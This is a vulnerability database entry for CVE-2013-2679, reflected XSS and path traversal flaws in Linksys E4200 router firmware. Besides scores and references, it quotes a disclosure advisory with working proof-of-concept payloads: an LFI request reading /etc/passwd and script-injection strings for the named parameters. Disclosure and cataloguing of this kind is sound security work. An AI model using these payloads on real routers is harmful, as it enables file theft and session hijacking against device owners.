Sign-up

ID

VAR-202002-0520


CVE

CVE-2013-2679


TITLE

Cisco Linksys E4200 Router Cross-Site Scripting Vulnerability

Trust: 1.2

sources: CNVD: CNVD-2013-05035 // CNNVD: CNNVD-201305-151

DESCRIPTION

Multiple cross-site scripting (XSS) vulnerabilities in Cisco Linksys E4200 router with firmware 1.0.05 build 7 allow remote attackers to inject arbitrary web script or HTML via the (1) log_type, (2) ping_ip, (3) ping_size, (4) submit_type, or (5) traceroute_ip parameter to apply.cgi or (6) new_workgroup or (7) submit_button parameter to storage/apply.cgi. Cisco Linksys E4200 A cross-site scripting vulnerability exists in routers.Information may be obtained and tampered with. The Cisco Linksys E1200 N300 is a wireless router from Cisco, USA. When a user browses an affected website, their browser will execute arbitrary code provided by the attacker, which may cause the attacker to steal cookie-based authentication and launch other attacks. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 ============================================= XSS, LFI in Cisco, Linksys E4200 Firmware ============================================= URL: http://www.cloudscan.me/2013/05/xss-lfi-linksys-e4200-firmware-0d.html ============================================= January 30, 2013 ============================================= Keywords ============================================= XSS, Cross Site Scripting, CWE-79, CAPEC-86, Javascript Injection, Exploit, Zero Day, Cisco, Linksys, E4200, Wireless Router, cyberTAN Corp CVE-2013-2678, CVE-2013-2679, CVE-2013-2680, CVE-2013-2681, CVE-2013-2682, CVE-2013-2683, CVE-2013-2684 ============================================= Summary Reflected XSS + LFI Bugs in the Cisco, Linksys E4200 Wireless Router Firmware Version: 1.0.05 build 7 were discovered by our Researchers in January 2013 and finally acknowledged by Linksys in April 2013. The Vendor is unable to Patch the Vulnerability in a reasonable timeframe. This document will introduce and discuss the vulnerability and provide Proof-of-Concept (PoC) Zero Day (0D) code examples for Firmware L Version 1.10 Released on July 9, 2012, and prior versions. ============================================= Overview Linksys is a brand of home and small office networking products and a company founded in 1988, which was acquired by Cisco Systems in 2003. In 2013, as part of its push away from the consumer market, Cisco sold their home networking division and Linksys to Belkin. Products currently and previously sold under the Linksys brand name include broadband and wireless routers, consumer and small business grade Ethernet switching, VoIP equipment, wireless internet video camera, AV products, network storage systems, and other products. Linksys products were widely available in North America off-the-shelf from both consumer electronics stores (CompUSA and Best Buy), internet retailers, and big-box retail stores (WalMart). Linksys' significant competition as an independent networking firm were D-Link and NetGear, the latter for a time being a brand of Cisco competitor Nortel. ============================================= Vendor Software Fingerprint ============================================= # Copyright (C) 2009, CyberTAN Corporation # All Rights Reserved. # # THIS SOFTWARE IS OFFERED "AS IS", AND CYBERTAN GRANTS NO WARRANTIES OF ANY # KIND, EXPRESS OR IMPLIED, BY STATUTE..... ============================================= The PoC's ============================================= LFI PoC ============================================= POST /storage/apply.cgi HTTP/1.1 HOST: my.vunerable.e4500.firmware submit_type=nas_admin&submit_button=NAS_Administration&change_action=gozila _cgi&next_page=../../../../../../../../../../../../../../../../etc/passwd ============================================= XSS PoC ============================================= /apply.cgi [log_type parameter] /apply.cgi [ping_ip parameter] /apply.cgi [ping_size parameter] /apply.cgi [submit_type parameter] /apply.cgi [traceroute_ip parameter] /storage/apply.cgi [new_workgroup parameter] /storage/apply.cgi [submit_button parameter] ============================================= POST /apply.cgi HTTP/1.1 �.. change_action=gozila_cgi&submit_button=Log_View&submit_type=undefined&log_t ype=&log_type=ilog14568"%3balert(1)//482 ============================================= Other XSS PoC�s ============================================= &ping_ip='><script>alert(1)</script> &ping_size='><script>alert(1)</script> &submit_type=start_traceroute'%3balert(1)// &traceroute_ip=a.b.c.d"><script>alert(1)</script> ============================================= CVE Information ============================================= File path traversal CVE-2013-2678 Cross-site scripting (reflected) CVE-2013-2679 Cleartext submission of password CVE-2013-2680 Password field with autocomplete enabled CVE-2013-2681 Frameable response (Clickjacking) CVE-2013-2682 Private IP addresses disclosed CVE-2013-2683 HTML does not specify charset CVE-2013-2684 CVSS Version 2 Score = 4.5 ============================================= END ============================================= -----BEGIN PGP SIGNATURE----- Version: 10.2.0.2526 wsBVAwUBUYkNUnz+WcLIygj0AQg1/QgAs9Ij9d9e6IYfZXeeiCZTwoKdgtOVkser M3c49LB4CnJrxMqlrVNhM5Y2YxjydpGG1EfNzc49L43dC2G/Q2cHRfQOWdgcIXEG uJPDmKcONMN+V+rwvncyulGnCgl7R7whxspjqQk4Ov6lM+rbL3ulEi5Lg2IwzoYy ul0J8okWO9hTBWh9cbAiUMMJ7FsC3Kb0KUH2NepathT604Pif4zHtxcYY62jOEdy 7xrUSt1HUw9HMC1s0MHLWcqUbJowSlx6cInl977WKphWB8bK0bqWJO+C0cCC3jdI V8qUOX2sfB2znwOcfsiTH4olBBH1nlXtnRJxyTr42qET4nBfqFOshg== =w123 -----END PGP SIGNATURE-----

Trust: 3.87

sources: NVD: CVE-2013-2679 // JVNDB: JVNDB-2013-007275 // CNVD: CNVD-2013-07838 // CNVD: CNVD-2013-05035 // CNNVD: CNNVD-201305-055 // BID: 59715 // BID: 59558 // PACKETSTORM: 121551

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 1.2

sources: CNVD: CNVD-2013-07838 // CNVD: CNVD-2013-05035

AFFECTED PRODUCTS

vendor:belkinmodel:linksys e4200scope:eqversion:1.0.05

Trust: 1.0

vendor:ciscomodel:linksys e4200scope:eqversion:1.0.05 build 7

Trust: 0.8

vendor:ciscomodel:linksys e1200 n300 routerscope:eqversion:2.0.04

Trust: 0.6

vendor:ciscomodel:linksys e4200scope: - version: -

Trust: 0.6

vendor:ciscomodel:linksys e4200 buildscope:eqversion:1.0.057

Trust: 0.3

sources: CNVD: CNVD-2013-07838 // CNVD: CNVD-2013-05035 // BID: 59715 // JVNDB: JVNDB-2013-007275 // NVD: CVE-2013-2679

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2013-2679
value: MEDIUM

Trust: 1.0

NVD: JVNDB-2013-007275
value: MEDIUM

Trust: 0.8

CNVD: CNVD-2013-07838
value: MEDIUM

Trust: 0.6

CNVD: CNVD-2013-05035
value: MEDIUM

Trust: 0.6

CNNVD: CNNVD-201305-151
value: MEDIUM

Trust: 0.6

nvd@nist.gov: CVE-2013-2679
severity: MEDIUM
baseScore: 4.3
vectorString: AV:N/AC:M/AU:N/C:N/I:P/A:N
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: NONE
integrityImpact: PARTIAL
availabilityImpact: NONE
exploitabilityScore: 8.6
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.0

NVD: JVNDB-2013-007275
severity: MEDIUM
baseScore: 4.3
vectorString: AV:N/AC:M/AU:N/C:N/I:P/A:N
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: NONE
integrityImpact: PARTIAL
availabilityImpact: NONE
exploitabilityScore: NONE
impactScore: NONE
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.8

CNVD: CNVD-2013-07838
severity: MEDIUM
baseScore: 4.3
vectorString: AV:N/AC:M/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 8.6
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

CNVD: CNVD-2013-05035
severity: MEDIUM
baseScore: 4.3
vectorString: AV:N/AC:M/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 8.6
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

nvd@nist.gov: CVE-2013-2679
baseSeverity: MEDIUM
baseScore: 6.1
vectorString: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: REQUIRED
scope: CHANGED
confidentialityImpact: LOW
integrityImpact: LOW
availabilityImpact: NONE
exploitabilityScore: 2.8
impactScore: 2.7
version: 3.1

Trust: 1.0

NVD: JVNDB-2013-007275
baseSeverity: MEDIUM
baseScore: 6.1
vectorString: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: REQUIRED
scope: CHANGED
confidentialityImpact: LOW
integrityImpact: LOW
availabilityImpact: NONE
exploitabilityScore: NONE
impactScore: NONE
version: 3.0

Trust: 0.8

sources: CNVD: CNVD-2013-07838 // CNVD: CNVD-2013-05035 // JVNDB: JVNDB-2013-007275 // CNNVD: CNNVD-201305-151 // NVD: CVE-2013-2679

PROBLEMTYPE DATA

problemtype:CWE-79

Trust: 1.8

sources: JVNDB: JVNDB-2013-007275 // NVD: CVE-2013-2679

THREAT TYPE

remote

Trust: 1.2

sources: CNNVD: CNNVD-201305-055 // CNNVD: CNNVD-201305-151

TYPE

XSS

Trust: 1.2

sources: CNNVD: CNNVD-201305-055 // CNNVD: CNNVD-201305-151

CONFIGURATIONS

sources:
            
            
            JVNDB: JVNDB-2013-007275

PATCH
title:Top Pageurl:https://www.linksys.com/us/
Trust: 0.8
title:Cisco Linksys E1200 N300 Router 'submit_button' parameter cross-site scripting vulnerability patchurl:https://www.cnvd.org.cn/patchInfo/show/34770
Trust: 0.6
sources:
            
            
            CNVD: CNVD-2013-07838 // 
            
            
            
            JVNDB: JVNDB-2013-007275

EXTERNAL IDS
db:NVDid:CVE-2013-2679
Trust: 3.7
db:PACKETSTORMid:121551
Trust: 2.5
db:OSVDBid:93060
Trust: 1.6
db:OSVDBid:93059
Trust: 1.6
db:BIDid:59558
Trust: 1.5
db:BIDid:59715
Trust: 0.9
db:JVNDBid:JVNDB-2013-007275
Trust: 0.8
db:CNVDid:CNVD-2013-07838
Trust: 0.6
db:EXPLOIT-DBid:25292
Trust: 0.6
db:CNVDid:CNVD-2013-05035
Trust: 0.6
db:CNNVDid:CNNVD-201305-055
Trust: 0.6
db:CNNVDid:CNNVD-201305-151
Trust: 0.6
sources:
            
            
            CNVD: CNVD-2013-07838 // 
            
            
            
            CNVD: CNVD-2013-05035 // 
            
            
            
            BID: 59715 // 
            
            
            
            BID: 59558 // 
            
            
            
            JVNDB: JVNDB-2013-007275 // 
            
            
            
            PACKETSTORM: 121551 // 
            
            
            
            CNNVD: CNNVD-201305-055 // 
            
            
            
            CNNVD: CNNVD-201305-151 // 
            
            
            
            NVD: CVE-2013-2679

REFERENCES
url:http://packetstormsecurity.com/files/121551/cisco-linksys-e4200-cross-site-scripting-local-file-inclusion.html
Trust: 2.4
url:http://www.cloudscan.me/2013/05/xss-lfi-linksys-e4200-firmware-0d.html
Trust: 2.0
url:https://exchange.xforce.ibmcloud.com/vulnerabilities/84069
Trust: 1.6
url:http://osvdb.org/93059
Trust: 1.6
url:http://osvdb.org/93060
Trust: 1.6
url:https://nvd.nist.gov/vuln/detail/cve-2013-2679
Trust: 1.5
url:http://www.securityfocus.com/bid/59558
Trust: 1.2
url:https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-2679
Trust: 0.8
url:http://www.exploit-db.com/exploits/25292/
Trust: 0.6
url:http://support.linksys.com/en-us/support/routers/e4200
Trust: 0.3
url:http://www.cisco.com
Trust: 0.3
url:https://nvd.nist.gov/vuln/detail/cve-2013-2683
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2013-2684
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2013-2681
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2013-2680
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2013-2682
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2013-2678
Trust: 0.1
sources:
            
            
            CNVD: CNVD-2013-07838 // 
            
            
            
            CNVD: CNVD-2013-05035 // 
            
            
            
            BID: 59715 // 
            
            
            
            BID: 59558 // 
            
            
            
            JVNDB: JVNDB-2013-007275 // 
            
            
            
            PACKETSTORM: 121551 // 
            
            
            
            CNNVD: CNNVD-201305-055 // 
            
            
            
            CNNVD: CNNVD-201305-151 // 
            
            
            
            NVD: CVE-2013-2679

CREDITS
sqlhacker
Trust: 1.0
sources:
            
            
            BID: 59715 // 
            
            
            
            PACKETSTORM: 121551 // 
            
            
            
            CNNVD: CNNVD-201305-151

SOURCES
db:CNVDid:CNVD-2013-07838
db:CNVDid:CNVD-2013-05035
db:BIDid:59715
db:BIDid:59558
db:JVNDBid:JVNDB-2013-007275
db:PACKETSTORMid:121551
db:CNNVDid:CNNVD-201305-055
db:CNNVDid:CNNVD-201305-151
db:NVDid:CVE-2013-2679

LAST UPDATE DATE
2024-08-14T13:24:59.042000+00:00

SOURCES UPDATE DATE
db:CNVDid:CNVD-2013-07838date:2013-06-24T00:00:00
db:CNVDid:CNVD-2013-05035date:2013-05-26T00:00:00
db:BIDid:59715date:2013-05-06T00:00:00
db:BIDid:59558date:2013-07-10T14:22:00
db:JVNDBid:JVNDB-2013-007275date:2020-03-09T00:00:00
db:CNNVDid:CNNVD-201305-055date:2013-05-03T00:00:00
db:CNNVDid:CNNVD-201305-151date:2020-02-28T00:00:00
db:NVDid:CVE-2013-2679date:2020-02-27T16:58:39.317

SOURCES RELEASE DATE
db:CNVDid:CNVD-2013-07838date:2013-06-24T00:00:00
db:CNVDid:CNVD-2013-05035date:2013-05-10T00:00:00
db:BIDid:59715date:2013-05-06T00:00:00
db:BIDid:59558date:2013-04-27T00:00:00
db:JVNDBid:JVNDB-2013-007275date:2020-03-09T00:00:00
db:PACKETSTORMid:121551date:2013-05-07T20:22:22
db:CNNVDid:CNNVD-201305-055date:2013-04-27T00:00:00
db:CNNVDid:CNNVD-201305-151date:2013-05-09T00:00:00
db:NVDid:CVE-2013-2679date:2020-02-18T17:15:12.500